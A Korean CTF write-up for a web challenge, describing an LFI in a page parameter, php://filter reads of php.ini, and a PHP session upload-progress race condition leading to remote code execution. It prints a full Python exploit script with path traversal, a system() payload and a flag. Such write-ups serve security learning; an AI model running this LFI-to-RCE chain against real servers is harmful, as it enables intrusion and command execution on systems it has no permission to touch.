CTF/사이버보안 챌린지 2023

[Clear] 사이버보안 챌린지 2023 HMI Monitoring System Writeup

Vardy 2023. 9. 4. 17:33

WEB 카테고리 문제였다.

힌트에 php7.4버전 사용 및 FastCGI Process Manager를 사용하고있다는 점이 주어졌으므로 이를 참고하여 주어진 URL에 접속해보자.

 

Chartjs 기반으로 보이는 Velzon 페이지가 나타났다. 여러 기능들을 테스트해보았지만, p 파라미터를 통해 ChartA,B,C 를 조회하는 것 외에 다른 기능들은 비활성화 되어있었다.

활성화 되어 있는 기능에 대해 여러가지 시도를 해보면서 p파라미터에서 LFI가 발생함을 알 수 있었다.

 

힌트를 활용해서 /etc/php/7.4/fpm/php.ini 파일 획득을 시도하였으나, 용량 문제인지 정상적으로 호출이 되지 않았다.

이를 해결하기 위해 php wrapper 중 php://filter/convert.base64-encode/resource=[파일명] 구문을 활용하여 base64인코딩된 상태로 php.ini 파일을 획득 할 수 있었다.
실제 적용되고 있는 파일은 fpm/php.ini 파일이겠지만, 해당 파일의 특이사항을 확인 하기 위해 /etc/php/7.4/cli/php.ini 파일을 함께 획득하여 이를 비교해보기로 했다.

 

두 파일을 비교해보니 설정값들의 차이점을 알 수 있었다.

서버에 실제 적용되어 있는 fpm/php.ini 의 특이사항이 위와 같이 여러 개 있었지만 그 중 주목할만한 사항들은 아래와 같았다.

 

1. 세션 파일이 저장되는 경로가 /sessions 로 설정되어 있었다.
(session.save_path = “/sessions”)
2. 세션의 이름이 APPSESSID 로 설정되어 있었다.(session.name = APPSESSID)
3. 세션에서 업로드 진행 상황을 추적 할 수 있는 기능이 활성화되어있었다.
해당 옵션이 활성화 되어있으므로 session_start 함수 없이도 세션 파일을 생성 할 수 있게 된다.(session.upload_progress.enabled = On)
4. 생성된 세션 파일이 바로 삭제되도록 설정되어 있었다.
(ssession.upload_progress.cleanup = On)
5. upload progress에 사용될 prefix는 PHP7_SESSION_UPLOAD_PROGRESS 였다.
(session.upload_progress.name = “PHP7_SESSION_UPLOAD_PROGRESS”)

위 내용을 종합하여 php 코드가 포함되어있는 세션 파일을 임의로 생성 후 이를 읽음으로써 RCE를 발생 시킬 수 있는 시나리오를 만들 수 있다. 자세한 내용은 아래와 같다.

 

1. 위 조건에 맞추어 서버로 POST 형식의 요청을 전송하는데, 쿠키의 값은 APPSESSID=[파일명키워드], PHP7_SESSION_UPLOAD_PROGRSS 파라미터에 RCE 페이로드를 포함시켜 전송한다.
2. 세션 파일이 바로 삭제되기 때문에 전송 데이터에 파일을 포함시켜 반복적으로 전송함으로써 서버 부하을 유도하여 삭제되기 전에 파일을 읽을 수 있도록 세팅한다.
3. 세션파일이 생성될 지정된 경로에 sess_[파일명키워드] 파일을 읽는다.

 

위 내용을 종합한 exploit code는 아래와 같다.

import requests
import threading
 
url = "http://3.37.65.109:29292/client/"
 
is_done = False
 
def sess_req():
    cookie = {"APPSESSID": "vardy"}
    data = {'PHP7_SESSION_UPLOAD_PROGRESS': '<?php system("cat /FLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAGFLAG")?>'}
 
    while not is_done:
        res = requests.post(url, files={"f": "vardy"}, data=data, cookies=cookie)
 
def exploit():
    payload = "?p=../../../../../../../../sessions/sess_vardy"
    while True:
        res = requests.get(url + payload)
        response = res.text
        respons_view = response.split('<div class="main-content">')[1].split('<!-- end main content-->')[0]
        if len(respons_view)>20:
            print(respons_view)
            global is_done
            is_done = True
            break
 
if name == "main":
    threads = []
    for  in range(10):
        thread = threading.Thread(target=sess_req)
        thread.start()
        threads.append(thread)
 
    exploit()
 
    for thread in threads:
        thread.join()

 

위 코드를 활용하여 원하는 명령어를 RCE 시킬 수 있으므로 플래그를 획득 할 수 있었다.

FLAG = DEATHS0ATHVSRF321

 

반응형